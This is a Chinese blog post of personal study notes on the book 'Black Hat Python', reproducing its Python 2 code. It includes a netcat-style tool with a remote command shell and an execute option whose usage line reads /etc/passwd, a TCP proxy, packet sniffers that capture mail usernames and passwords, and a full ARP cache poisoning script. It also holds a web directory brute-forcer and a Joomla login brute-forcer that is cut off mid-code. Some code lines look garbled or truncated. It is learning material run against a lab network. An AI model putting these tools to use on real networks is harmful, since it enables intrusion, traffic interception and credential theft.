关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记

本篇文章是学习《Python黑帽子:黑客与渗透测试编程之道》的笔记,会持续地将书上的代码自己敲一遍,从而让自己对Python的安全编程有更多的了解,同时希望各位可以给给建议,不足之处太多了。

第一章——设置Python环境:

Kali Linux的安装就不说了,最近有更新为2017版的可以下载。

确认是否安装了正确的Python版本:


确认是2.7版本的即可。

接着安装Python软件包管理工具easy_install和pip,由于之前安装过了所以显示如下:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第1张图片
接着安装github模块,并进行测试,没啥问题:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第2张图片

接着是安装WingIDE,由于个人使用习惯了使用Sublime Text就不再进行安装了。

关于Sublime Text的安装在之前那篇《Python基础编程与爬虫实现》中说过了,这里就不再多说了。


第二章——网络基础:

TCP客户端:

示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名,SOCK_STREAM参数表示是一个TCP客户端。访问的URL是百度。

#coding=utf-8
import socket

target_host = "www.baidu.com"
target_port = 80

#建立一个socket对象
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#连接客户端
client.connect((target_host,target_port))

#发送一些数据
client.send("GET / HTTP/1.1\r\nHost: baidu.com\r\n\r\n")

#接收一些数据
response = client.recv(4096)

print response

运行结果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第3张图片


UDP客户端:

与TCP客户端相比,将套接字的类型改为SOCK_DGRAM,然后调用sendto()函数发送数据,因为UDP是无连接的因此不需要调用connect()函数,最后使用recvfrom()函数接收返回的UDP数据包。

#coding=utf-8
import socket

target_host = "127.0.0.1"
target_port = 1234

#建立一个socket对象
client = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

#发送一些数据
client.sendto("This is an UDP client",(target_host,target_port))

#接收一些数据
data, addr = client.recvfrom(4096)

print data
print addr

运行结果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第4张图片


TCP服务端:

这里需要先调用bind()函数绑定IP和端口,然后通过调用listen()函数启动监听并将最大连接数设为5。

#!/usr/bin/python
#coding=utf-8
import socket
import threading

bind_ip = "0.0.0.0"
bind_port = 1234

server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

server.bind((bind_ip,bind_port))

server.listen(5)

print '[*] Listening on %s:%d'%(bind_ip,bind_port)

#客户处理线程
def handle_client(client_socket):
	
	#打印客户端发送得到的消息
	request = client_socket.recv(1024)

	print "[*] Received: %s"%request
	
	#返回一个数据包
	client_socket.send("ACK!")

	client_socket.close()

while True:
	
	client, addr = server.accept()

	print "[*] Accepted connection from: %s:%d"%(addr[0],addr[1])
	
	#挂起客户端线程,处理传入数据
	client_handler = threading.Thread(target=handle_client,args=(client,))
	client_handler.start()

运行结果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第5张图片


取代netcat:

rstrip() 删除 string 字符串末尾的指定字符(默认为空格)。

subprocess.check_output():父进程等待子进程完成,返回子进程向标准输出的输出结果。

getopt模块是专门处理命令行参数的。

#!/usr/bin/python
#coding=utf-8
import sys
import socket
import getopt
import threading
import subprocess

#定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

#使用帮助
def usage():
	print "BHP Net Tool"  
	print  
	print "Usage: bhpnet.py -t target_host - p port"  
	print "-l --listen              - listen on [host]:[port] for incoming connections"  
	print "-e --execute=file_to_run -execute the given file upon receiving a connection"  
	print "-c --command             - initialize a commandshell"  
	print "-u --upload=destination  - upon receiving connection upload a file and write to [destination]"  
	print  
	print  
	print "Examples:"  
	print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"  
	print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"  
	print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""  
	print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"  
	sys.exit(0) 

def client_sender(buffer):
	client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

	try:
		#连接到目标主机
		client.connect((target,port))

		if len(buffer):
			client.send(buffer)

		while True:
			
			#现在等待数据回传
			recv_len = 1
			response = ""

			while recv_len:
				
				data = client.recv(4096)
				recv_len = len(data)
				response += data

				if recv_len < 4096:
					break

			print response,

			#等待更多的输入
			buffer = raw_input("")
			buffer += "\n"

			#发送出去
			client.send(buffer)

	except:
		print "[*] Exception! Exiting. "

		#关闭连接
		client.close()

def server_loop():
	global target

	#如果没有定义目标,那么我们监听所有的接口
	if not len(target):
		target = "0.0.0.0"

	server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	server.bind((target,port))

	server.listen(5)

	while  True:
		client_socket, addr = server.accept()

		#分拆一个线程处理新的客户端
		client_thread = threading.Thread(target=client_handler,args=(client_socket,))
		client_thread.start()

def run_command(command):
	
	#换行
	command = command.rstrip()

	#运行命令并将输出返回
	try:
		output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
	except:
		output = "Failed to execute command. \r\n"

	#将输出发送
	return output

def client_handler(client_socket):
	global upload
	global execute
	global command

	#检测上传文件
	if len(upload_destination):
		
		#读取所有的字符并写下目标
		file_buffer = ""

		#持续读取数据直到没有符合的数据

		while True:
			data = client_socket.recv(1024)

			if not data:
				break
			else:
				file_buffer += data

		#现在我们接收这些数据并将他们写出来
		try:
			file_descriptor = open(upload_destination,"wb")
			file_descriptor.write(file_buffer)
			file_descriptor.close()

			#确认文件已经写出来
			client_socket.send("Successfully saved file to %s\r\n"%upload_destination)
		except:
			client_socket.send("Failed to save file to %s\r\n"%upload_destination)
	#检查命令执行
	if len(execute):
		
		#运行命令
		output = run_command(execute)

		client_socket.send(output)

	#如果需要一个命令行shell,那么我们进入另一个循环
	if command:

		while True:
			
			#跳出一个窗口
			client_socket.send(" ")

			#现在我们接收文件直到发现换行符(enter key)
			cmd_buffer = ""
			while "\n" not in cmd_buffer:
				cmd_buffer += client_socket.recv(1024)

			#返还命令输出
			response = run_command(cmd_buffer)

			#返回响应数据
			client_socket.send(response)

def main():
	global listen
	global port
	global execute
	global command
	global upload_destination
	global target

	if not len(sys.argv[1:]):
		usage()

	#读取命令行选项
	try:
		opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"])
	except getopt.GetoptError as err:
		print str(err)
		usage()

	for o,a in opts:
		if o in ("-h","--help"):
			usage()
		elif o in ("-l","--listen"):
			listen = True
		elif o in ("-e","--execute"):
			execute = a
		elif o in ("-c","--commandshell"):
			command = True
		elif o in ("-u","--upload"):
			upload_destination = a
		elif o in ("-t","--target"):
			target = a
		elif o in ("-p","--port"):
			port = int(a)
		else:
			assert False,"Unhandled Option"

	#我们是进行监听还是仅从标准输入发送数据?
	if not listen and len(target) and port > 0 :

		#从命令行读取内存数据
		#这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D
		buffer = sys.stdin.read()

		#发送数据
		client_sender(buffer)

	#我们开始监听并准备上传文件、执行命令
	#放置一个反弹shell
	#取决于上面的命令行选项
	if listen:
		server_loop()

main()

这里对程序说明一下:

usage()函数用于参数的说明帮助、当用户输入错误的参数时会输出相应的提示;

client_sender()函数用于与目标主机建立连接并交互数据直到没有更多的数据发送回来,然后等待用户下一步的输入并继续发送和接收数据,直到用户结束脚本运行;

server_loop()函数用于建立监听端口并实现多线程处理新的客户端;

run_command()函数用于执行命令,其中subprocess库提供多种与客户端程序交互的方法;

client_handler()函数用于实现文件上传、命令执行和与shell相关的功能,其中wb标识确保是以二进制的格式写入文件、从而确保上传和写入的二进制文件能够成功执行;

主函数main()中是先读取所有的命令行选项从而设置相应的变量,然后从标准输入中读取数据并通过网络发送数据,若需要交互式地发送数据需要发送CTRL-D以避免从标准输入中读取数据,若检测到listen参数为True则调用server_loop()函数准备处理下一步命令。

运行结果:

1、本地测试:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第6张图片

2、访问百度:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第7张图片

3、客户端Ubuntu访问,可以看到客户端访问时输入命令之后需要多输入一个换行符才可以输入成功从而看到输出结果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第8张图片


创建一个TCP代理:

    #!/usr/bin/python  
    #coding=utf-8
    import socket  
    import sys  
    import threading  
      
    def server_loop(local_host,local_port,remote_host,remote_port,receive_first):  
          
        server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
      
        try:  
            server.bind((local_host,local_port))  
        except:  
            print "[!!] Failed to listen on %s:%d"%(local_host,local_port)  
            print "[!!] Check for other listening sockets or correct permissions. "  
            sys.exit(0)  
      
        print "[*] Listening on %s:%d"%(local_host,local_port)  
      
        server.listen(5)  
      
        while True:  
            client_socket, addr = server.accept()  
      
            #  打印出本地连接信息
            print "[==>] Received incoming connection from %s:%d"%(addr[0],addr[1])  
      
            #  开启一个线程与远程主机通信
            proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first))  
      
            proxy_thread.start()  
      
    def proxy_handler(client_socket,remote_host,remote_port,receive_first):  
          
        #  连接远程主机
        remote_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
        remote_socket.connect((remote_host,remote_port))  
      
        #  如果必要从远程主机接收数据
        if receive_first:  
      
            remote_buffer = receive_from(remote_socket)  
            hexdump(remote_buffer)  
      
            #  发送给我们的响应数据
            remote_buffer = response_handler(remote_buffer)  
      
            #  如果我们有数据传递给本地客户端,发送它
            if len(remote_buffer):  
                print "[<==] Sending %d bytes to localhost. "%len(remote_buffer)  
                client_socket.send(remote_buffer)  
      
        #  现在我们从本地循环读取数据,发送给远程主机和本地主机
        while True:  
              
            #  从本地读取主机
            local_buffer = receive_from(client_socket)  
      
            if len(local_buffer):  
                  
                print "[==>] Received %d bytes from localhost. "%len(local_buffer)  
                hexdump(local_buffer)  
      
                #  发送给我们的本地请求
                local_buffer = request_handler(local_buffer)  
      
                #  向远程主机发送数据
                remote_socket.send(local_buffer)  
                print "[==>] Sent to remote ."  
      
            #  接受响应的数据
            remote_buffer = receive_from(remote_socket)  
      
            if len(remote_buffer):  
                  
                print "[<==] Received %d bytes from remote . "%len(remote_buffer)  
                hexdump(remote_buffer)  
      
                #  发送到响应处理函数
                remote_buffer = response_handler(remote_buffer)  
      
                #  将响应发送给本地socket
                client_socket.send(remote_buffer)  
      
                print "[<==] Sent to localhost. "  
      
            #  如果两边都没有数据,关闭连接
            if not len(local_buffer) or not len(remote_buffer):  
                client_socket.close()  
                remote_socket.close()  
                print "[*] No more data. Closing cnnections. "  
      
                break  
      
    #  十六进制导出函数
    def hexdump(src,length=16):  
        result = []  
        digits = 4 if isinstance(src,unicode) else 2  
      
        for i in xrange(0,len(src),length):  
            s = src[i:i+length]  
            hexa = b' '.join(["%0*X" % (digits,ord(x)) for x in s])  
            text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])  
            result.append( b"%04X  %-*s  %s" % (i,length*(digits + 1),hexa,text))  
      
        print b'\n'.join(result)  
      
    def receive_from(connection):  
          
        buffer = ""  
      
        #  我们设置了两秒的超时,这取决于目标的情况,可能需要调整
        connection.settimeout(2)  
      
        try:  
            #  持续从缓存中读取数据直到没有数据或超时
            while True:  
                data = connection.recv(4096)  
                if not data:  
                    break  
                buffer += data  
        except:  
            pass  
      
        return buffer  
      
    #  对目标是远程主机的请求进行修改
    def request_handler(buffer):  
        #  执行包修改
        return buffer  
      
    #  对目标是本地主机的响应进行修改
    def response_handler(buffer):  
        #  执行包修改
        return buffer  
      
    def main():  
          
        #  没有华丽的命令行解析
        if len(sys.argv[1:]) != 5:  
            print "Usage : ./tcp_agent.py [localhost] [localport] [remotehost] [remoteport] [receive_first] "  
            print "Example : ./tcp_agent.py 127.0.0.1 9000 10.12.132.1 9000 True"  
            sys.exit(0)  
      
        #  设置本地监听参数
        local_host = sys.argv[1]  
        local_port = int(sys.argv[2])  
      
        #  设置远程目标
        remote_host = sys.argv[3]  
        remote_port = int(sys.argv[4])  
      
        #  告诉代理在发送给远程主机之前连接和接收数据
        receive_first = sys.argv[5]  
      
        if "True" in receive_first:  
            receive_first = True  
        else:  
            receive_first = False  
      
        #  现在设置好我们的监听socket
        server_loop(local_host,local_port,remote_host,remote_port,receive_first)  
      
    main()  

这里对每个函数说明一下:

proxy_handler()函数包含了代理的主要逻辑,先检查并确保在启动主循环之前不向建立连接的远程主机主动发送数据,启动循环之后接收本地和远程主机的数据然后再调用相应的函数进行处理之后再转发出去;
hexdump()函数仅输出数据包的十六进制值和可打印的ASCII码字符,对于了解未知的协议很有帮助,还能找到使用明文协议的认证信息等;
receive_from()函数用于接收本地和远程主机的数据,使用socket对象作为参数;
request_handler()和response_handler()函数允许用来修改代理双向的数据流量;
server_loop()函数用于循环以监听并连接请求,当有新的请求到达时会提交给proxy_handler()函数处理,接收每一个比特的数据,然后发送到目标远程主机;
main主函数先读入命令行参数,然后调用服务端的server_loop()函数。
运行结果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第9张图片

结果可以看到,其实和Wireshark等抓包工具的效果是差不多的。


通过Paramiko使用SSH:

首先需要安装paramiko模块:



这里先进行简单的测试,连接Metasploit2 的主机。

#!/usr/bin/python
import paramiko
import threading
import subprocess

def ssh_command(ip,user,passwd,command):
        client = paramiko.SSHClient()
        #client.load_host_keys('/home/justin/.ssh/known_hosts') 
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(ip,username=user,password=passwd)
        ssh_session = client.get_transport().open_session()
        if ssh_session.active:
                ssh_session.exec_command(command)  
                print ssh_session.recv(1024)
        return

ssh_command('10.10.10.128','msfadmin','msfadmin','uname -a') 

运行结果:

反向SSH:

bh_sshRcmd.py:

后面测试成功再补上

bh_sshserver.py:

后面测试成功再补上


SSH隧道:

后面测试成功再补上


第三章——网络:原始套接字和流量嗅探

Windows和Linux上的包嗅探:

#!/usr/bin/python
import socket
import os

#监听的主机
host = "10.10.10.160"

#创建原始套接字,然后绑定在公开接口上
if os.name == "nt":
	socket_protocol = socket.IPPROTO_IP
else:
	socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket_protocol)

sniffer.bind((host,0))

#设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)

#在Windows平台上,我们需要设置IOCTL以启动混杂模式
if os.name == "nt":
	sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_ON)

#读取单个数据包
print sniffer.recvfrom(65565)

#在Windows平台上关闭混杂模式
if os.name == "nt":
	sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)

运行结果:



解码IP层:

源代码:

#!/usr/bin/python
#coding=utf-8
import socket
import os
import struct
from ctypes import *

#监听的主机
host = "10.10.10.160"

#IP头定义
class IP(Structure):
	"""docstring for IP"""
	_fields_ = [
		("ihl",			c_ubyte, 4),
		("version",		c_ubyte, 4),
		("tos",			c_ubyte),
		("len",			c_ushort),
		("id",			c_ushort),
		("offset",		c_ushort),
		("ttl",			c_ubyte),
		("protocol_num",	c_ubyte),
		("sum",			c_ushort),
		("src",			c_ulong),
		("dst",			c_ulong)
	]

	def __new__(self,socket_buffer=None):
		return self.from_buffer_copy(socket_buffer)

	def __init__(self, socket_buffer=None):
		#协议字段与协议名称对应
		self.protocol_map = {1:"ICMP",6:"TCP",17:"UDP"}

		#可读性更强的IP地址
		self.src_address = socket.inet_ntoa(struct.pack(" %s"%(ip_header.protocol,ip_header.src_address,ip_header.dst_address)
#处理CTRL-C
except KeyboardInterrupt:
	
	#如果运行在Windows上,关闭混杂模式
	if os.name == "nt":
		sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)

运行结果:

Win10上用户有管理员权限执行cmd所以会报错:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第10张图片

XP下将host改为XP地址即可:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第11张图片

Kali下运行会出错,主要是因为32位与64位之间的一些问题:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第12张图片

解决方案:http://stackoverflow.com/questions/29306747/python-sniffing-from-black-hat-python-book

改进的可在Kali中运行的代码:

#!/usr/bin/python
import socket
import os
import struct
from ctypes import *

#监听的主机
host = "10.10.10.160"

#IP头定义
class IP(Structure):
	"""docstring for IP"""
	_fields_ = [
		("ihl",			c_ubyte, 4),
		("version",		c_ubyte, 4),
		("tos",			c_ubyte),
		("len",			c_ushort),
		("id",			c_ushort),
		("offset",		c_ushort),
		("ttl",			c_ubyte),
		("protocol_num",	c_ubyte),
		("sum",			c_ushort),
		("src",			c_uint32),
		("dst",			c_uint32)
	]

	def __new__(self,socket_buffer=None):
		return self.from_buffer_copy(socket_buffer)

	def __init__(self, socket_buffer=None):
		#协议字段与协议名称对应
		self.protocol_map = {1:"ICMP",6:"TCP",17:"UDP"}

		#可读性更强的IP地址
		self.src_address = socket.inet_ntoa(struct.pack("@I",self.src))
		self.dst_address = socket.inet_ntoa(struct.pack("@I",self.dst))

		#协议类型
		try:
			self.protocol = self.protocol_map[self.protocol_num]
		except:
			self.protocol = str(self.protocol_num)
		
#下面的代码类似于之前的例子
if os.name == "nt":
	socket_protocol = socket.IPPROTO_IP
else:
	socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket_protocol)

sniffer.bind((host,0))
sniffer.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)

if os.name == "nt":
	sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_ON)

try:
	while True:
		
		#读取数据包
		raw_buffer = sniffer.recvfrom(65565)[0]

		#将缓冲区的前20个字节按IP头进行解析
		ip_header = IP(raw_buffer[0:20])

		#输出协议和通信双方IP地址
		print "Protocol : %s %s -> %s"%(ip_header.protocol,ip_header.src_address,ip_header.dst_address)
#处理CTRL-C
except KeyboardInterrupt:
	
	#如果运行在Windows上,关闭混杂模式
	if os.name == "nt":
		sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)

运行结果:



解码ICMP:

#!/usr/bin/python
#coding=utf-8
import socket
import os
import struct
from ctypes import *

host = "10.10.10.160"

class IP(Structure):
	"""docstring for IP"""
	_fields_ = [
		("ihl",			c_ubyte, 4),
		("version",		c_ubyte, 4),
		("tos",			c_ubyte),
		("len",			c_ushort),
		("id",			c_ushort),
		("offset",		c_ushort),
		("ttl",			c_ubyte),
		("protocol_num",	c_ubyte),
		("sum",			c_ushort),
		("src",			c_ulong),
		("dst",			c_ulong)
	]

	def __new__(self,socket_buffer=None):
		return self.from_buffer_copy(socket_buffer)

	def __init__(self, socket_buffer=None):
		self.protocol_map = {1:"ICMP",6:"TCP",17:"UDP"}

		self.src_address = socket.inet_ntoa(struct.pack(" %s"%(ip_header.protocol,ip_header.src_address,ip_header.dst_address)

		#如果为ICMP,进行处理
		if ip_header.protocol == "ICMP":

			#计算ICMP包的起始位置
			offset = ip_header.ihl*4
			buf = raw_buffer[offset:offset + sizeof(ICMP)]

			#解析ICMP数据
			icmp_header = ICMP(buf)

			print "ICMP -> Type : %d  Code : %d"%(icmp_header.type,icmp_header.code)

except KeyboardInterrupt:
	
	if os.name == "nt":
		sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)

但是结果并不能正常解析ICMP,排查的结果是代码中变量buf为None:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第13张图片

这个问题求各位大神给点指点。。。

后面测试成功再补上


第四章——Scapy:网络的掌控者

窃取email认证:

测试代码:

#!/usr/bin/python
#coding=utf-8
from scapy.all import *

#数据包回调函数
def packet_callback(packet):

	print packet.show()

#开启嗅探器
sniff(prn=packet_callback,count=1)

运行结果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第14张图片

mail_sniffer.py:

#!/usr/bin/python
#coding=utf-8
from scapy.all import *

#数据包回调函数
def packet_callback(packet):

	# print packet.show()
	if packet[TCP].payload:
		
		mail_packet = str(packet[TCP].payload)

		if "user" in mail_packet.lower() or "pass" in mail_packet.lower():

			print "[*] Server: %s"%packet[IP].dst
			print "[*] %s"%packet[TCP].payload

#开启嗅探器
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_callback,store=0)
运行结果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第15张图片

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第16张图片

改为嗅探http中账号密码:


运行结果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第17张图片


利用Scapy进行ARP缓存投毒:

#!/usr/bin/python
#coding=utf-8
from scapy.all import *
import os
import sys
import threading
import signal

def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
	
	#以下代码中调用send函数的方式稍有不同
	print "[*] Restoring target... "
	send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
	send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)

	#发送退出信号到主线程
	os.kill(os.getpid(),signal.SIGINT)

def get_mac(ip_address):
	
	responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)

	#返回从响应数据中获取的Mac地址
	for s,r in responses:
		return r[Ether].src

	return None

def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
	
	poison_target = ARP()
	poison_target.op = 2
	poison_target.psrc = gateway_ip
	poison_target.pdst = target_ip
	poison_target.hwdst = target_mac

	poison_gateway = ARP()
	poison_gateway.op = 2
	poison_gateway.psrc = target_ip
	poison_gateway.pdst = gateway_ip
	poison_gateway.hwdst = gateway_mac

	print "[*] Beginning the ARP poison. [CTRL-C to stop]"

	while True:
		try:
			send(poison_target)
			send(poison_gateway)

			time.sleep(2)
		except KeyboardInterrupt:
			restore_target(gateway_ip,gateway_mac,target_ip,target_mac)

	print "[*] ARP poison attack finished. "
	return

interface = "eth0"
target_ip = "10.10.10.134"
gateway_ip = "10.10.10.2"
packet_count = 1000

#设置嗅探的网卡
conf.iface = interface

#关闭输出
conf.verb = 0

print "[*] Setting up %s"%interface

gateway_mac = get_mac(gateway_ip)

if gateway_mac is None:
	print "[!!!] Failed to get gateway MAC.  Exiting. "
	sys.exit(0)
else:
	print "[*] Gateway %s is at %s"%(gateway_ip,gateway_mac)

target_mac = get_mac(target_ip)

if target_mac is None:
	print "[!!!] Failed to get target MAC.  Exiting. "
	sys.exit(0)
else:
	print "[*] Target %s is at %s"%(target_ip,target_mac)

#启动ARP投毒攻击
poison_thread = threading.Thread(target=poison_target,args=(gateway_ip,gateway_mac,target_ip,target_mac))
poison_thread.start()

try:
	print "[*] Starting sniffer for %d packets"%packet_count

	bpf_filter = "ip host %s"%target_ip
	packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)

	#将捕获到的数据包输出到文件
	wrpcap('arper.pcap',packets)

	#还原网络配置
	restore_target(gateway_ip,gateway_mac,target_ip,target_mac)

except KeyboardInterrupt:
	#还原网络配置
	restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
	sys.exit(0)

对win7进行ARP投毒攻击之前:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第18张图片

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第19张图片

进行攻击之后:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第20张图片

可以看到,win7的网关10.10.10.2的Mac地址改为了Kali Linux的Mac地址了,即ARP投毒攻击成功。


处理PCAP文件:

后面测试成功再补上


第五章——Web攻击:

Web的套接字函数库:urllib2

一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好:

#!/usr/bin/python
#coding=utf-8
import urllib2

url = "http://www.baidu.com"

headers = {}
headers['User-Agent'] = "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"

request = urllib2.Request(url,headers=headers)
response = urllib2.urlopen(request)

print response.read()
response.close()
# body = urllib2.urlopen("http://www.baidu.com")

# print body.read()

运行结果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第21张图片

放在Python的shell环境中运行:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第22张图片

注意到由于有中文,所以为了避免出现乱码就在调用了read()函数之后再调用decode("utf-8")来进行utf-8的字符解密。


开源Web应用安装:

这里的前提是Web服务器使用的是开源CMS来建站的,而且自己也下载了一套相应的开源代码。

这里使用盾灵的CMS吧,可以直接在网上下载,其界面如图:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第23张图片

接着直接上代码吧:

#!/usr/bin/python
#coding=utf-8
import Queue
import threading
import os
import urllib2

threads = 10

target = "http://10.10.10.144/dunling"
directory = "/dunling"
filters = [".jpg",".gif",".png",".css"]

os.chdir(directory)

web_paths = Queue.Queue()

for r,d,f in os.walk("."):
	for files in f:
		remote_path = "%s/%s"%(r,files)
		if remote_path.startswith("."):
			remote_path = remote_path[1:]
		if os.path.splitext(files)[1] not in filters:
			web_paths.put(remote_path)

def test_remote():
	while not web_paths.empty():
		path = web_paths.get()
		url = "%s%s"%(target,path)

		request = urllib2.Request(url)

		try:
			response = urllib2.urlopen(request)
			content = response.read()

			print "[%d] => %s"%(response.code,path)
			response.close()
		except urllib2.HTTPError as error:
			# print "Failed %s"%error.code
			pass

for i in range(threads):
	print "Spawning thread : %d"%i
	t = threading.Thread(target=test_remote)
	t.start()

运行结果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第24张图片


暴力破解目录和文件位置:

先下载SVNDigger的第三方暴力破解工具的字典:https://www.netsparker.com/blog/web-security/svn-digger-better-lists-for-forced-browsing/

将其中的all.txt文件放到相应的目录以备调用,这里就和示例一样放到/tmp目录中。

#!/usr/bin/python
#coding=utf-8

import urllib2
import threading
import Queue
import urllib

threads = 50
target_url = "http://testphp.vulnweb.com"
wordlist_file = "/tmp/all.txt" # from SVNDigger
resume = None
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"

def build_wordlist(wordlist_file):
	#读入字典文件
	fd = open(wordlist_file,"rb")
	raw_words = fd.readlines()
	fd.close()

	found_resume = False
	words = Queue.Queue()

	for word in raw_words:
		word = word.rstrip()

		if resume is not None:
			if found_resume:
				words.put(word)
			else:
				if word == resume:
					found_resume = True
					print "Resuming wordlist from: %s"%resume
		else:
			words.put(word)

	return words

def dir_bruter(word_queue,extensions=None):
	while not word_queue.empty():
		attempt = word_queue.get()

		attempt_list = []

		#检测是否有文件扩展名,若没有则就是要暴力破解的路径
		if "." not in attempt:
			attempt_list.append("/%s/"%attempt)
		else:
			attempt_list.append("/%s"%attempt)

		#如果我们想暴破扩展
		if extensions:
			for extension in extensions:
				attempt_list.append("/%s%s"%(attempt,extension))

		#迭代我们要尝试的文件列表
		for brute in attempt_list:
			url = "%s%s"%(target_url,urllib.quote(brute))

			try:
				headers = {}
				headers["User-Agent"] = user_agent
				r = urllib2.Request(url,headers=headers)

				response = urllib2.urlopen(r)

				if len(response.read()):
					print "[%d] => %s"%(response.code,url)
			except urllib2.URLError, e:
				if hasattr(e,'code') and e.code != 404:
					print "!!! %d => %s"%(e.code,url)
				pass

word_queue = build_wordlist(wordlist_file)
extensions = [".php",".bak",".orig",".inc"]

for i in range(threads):
	t = threading.Thread(target=dir_bruter,args=(word_queue,extensions,))
	t.start()

运行结果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第25张图片


暴力破解HTML表格认证:

先下载Joomla,安装后之后到后台登陆页面:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第26张图片

右键查看源代码,分析表单的关键信息:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第27张图片

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第28张图片

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第29张图片

可以看到,在表单中input标签下代表用户名和密码的变量的名称为username和passwd;在form标签最后的地方有一个长整型的随机字符串,这时Joomla对抗暴力破解技术的关键,会在当前的用户会话中通过存储在cookie中进行检测;登录成功的对比字符串是页面返回的title的内容,即“Administration - Control Panel”。

所以,书上作者也给出了爆破Joomla的流程:

1、检索登录页面,接受所有返回的cookies值;

2、从HTML中获取所有表单元素;

3、在你的字典中设置需要猜测的用户名和密码;

4、发送HTTP POST数据包到登录处理脚本,数据包含所有的HTML表单文件和存储的cookies值;

5、测试是否能登录成功。

代码如下:

#!/usr/bin/python
#coding=utf-8

import urllib2
import urllib
import cookielib
import threading
import sys
import Queue

from HTMLParser import HTMLParser

#简要设置
user_thread = 10
username = "admin"
wordlist_file = "/tmp/passwd.txt"
resume = None

#特定目标设置
target_url = "http://10.10.10.144/Joomla/administrator/index.php"
target_post = "http://10.10.10.144/Joomla/administrator/index.php"

username_field = "username"
password_field = "passwd"

success_check = "Administration - Control Panel"

class Bruter(object):
	"""docstring for Bruter"""
	def __init__(self, username, words):
		self.username = username
		self.password_q = words
		self.found = False

		print "Finished setting up for: %s"%username

	def run_bruteforce(self):
		for i in range(user_thread):
			t = threading.Thread(target=self.web_bruter)
			t.start()

	def web_bruter(self):
		while not self.password_q.empty() and not self.found:
			brute = self.password_q.get().rstrip()
			jar = cookielib.FileCookieJar("cookies")
			opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))

			response = opener.open(target_url)

			page = response.read()

			print "Trying: %s : %s (%d left)"%(self.username,brute,self.password_q.qsize())

			#解析隐藏区域
